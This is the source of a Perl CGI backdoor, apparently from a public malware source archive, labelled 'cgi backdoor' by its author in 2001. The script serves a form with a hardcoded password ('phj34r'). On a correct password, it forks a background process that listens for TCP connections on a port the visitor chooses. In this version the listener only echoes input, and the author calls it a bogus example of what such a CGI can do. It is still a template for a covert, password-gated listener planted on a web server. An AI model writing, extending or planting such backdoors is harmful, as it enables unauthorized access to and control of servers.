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https://github.com/vxunderground/MalwareSourceCode
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49 lines
1.7 KiB
Plaintext
49 lines
1.7 KiB
Plaintext
# jerusalem (c) 2001
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# heavily untested and on_the_fly done cgi (i've written this code on my
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# organizer) - jerusalem@digitalmaphia.com / j3rus4lem@users.sourceforge.net
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$password = "phj34r"; # as usual
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## -note
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## if you don't want to show your password in clear (in the sourcecode)
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## use perl's crypt() function. a bogus example of this can be found
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## into http://sgxxx.net/users/jerusalem/ulogin.pl *subliminal message*
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use CGI qw/:standard/;
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print header,
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start_html('cgi backdoor - jerusalem\@digitalmaphia.com 2001'),
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h1('cgi backdoor - jerusalem\@digitalmaphia.com 2001'),
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start_form,
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"password: ",password_field('pass'),p,
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"port: ",textfield('port'),
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# if you want your pass shown in clear just subst the password_field() function
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# with a textfield() one
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submit,
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end_form,
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hr;
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if (param()) {
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$pass = "<EM>"."$password"."</EM>";
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if (em(param('pass')) eq $pass) { werk(); }
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else { stfu(); }
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sub stfu { print "password incorrect. sorry.\n"; }
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hr;
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}
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# This subroutine is a little and bogus example of what you can do
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# using a perl cgi. In this case, a daemon like the unix' echo is
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# started and forked under a pid.
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sub werk {
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$aaa = em(param('port'));
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$aaa =~ s/<.*?>//g;
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my $pid = fork(); if ($pid) { exit(); }
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yeha();
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sub yeha {
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use IO::Socket;
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my $port = $aaa;
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my $socket = IO::Socket::INET->new(Listen => 5,
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LocalPort => $port,
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Proto => 'tcp',
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Reuse => 1);
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while ($new = $socket->accept()) { $new->autoflush(1); command(); }
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sub command { while (<$new>) { $comm = $_; chomp $comm;
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print $new "$comm\n";
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command(); } }
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}
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}
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